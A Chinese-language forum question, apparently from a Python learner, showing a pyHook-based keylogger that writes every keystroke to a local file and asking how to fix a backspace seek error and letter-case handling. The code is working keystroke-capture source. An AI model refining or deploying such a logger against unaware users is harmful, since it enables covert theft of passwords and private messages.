由于我正在学习Python,我在youtube上偶然发现了一个有趣的视频,展示了如何构建一个简单的Python Keylogger。我决定稍微修改一下,当用户按下退格键时能够删除最后一个字符,所以我添加了一个带有seek和truncate方法的if语句。
import pyHook, pythoncom, os
file_log = "D:/Python Projects/log.txt"
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open(file_log, "a") as fl:
if event.Ascii == 13:
fl.write("\n")
elif event.Ascii == 8:
fl.seek(-1, os.SEEK_END)
fl.truncate()
else:
fl.write(keylog)
fl.close()
return True
hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()
但是,当我尝试运行代码并按下退格键时,我收到以下错误:
io.UnsupportedOperation: can't do nonzero end-relative seeks
那么,任何人都可以帮助我吗? 此外,现在键盘记录器将每个字符存储为大写字母。有没有办法修改脚本以识别字符是低位字母还是大写字母并以这种方式存储它?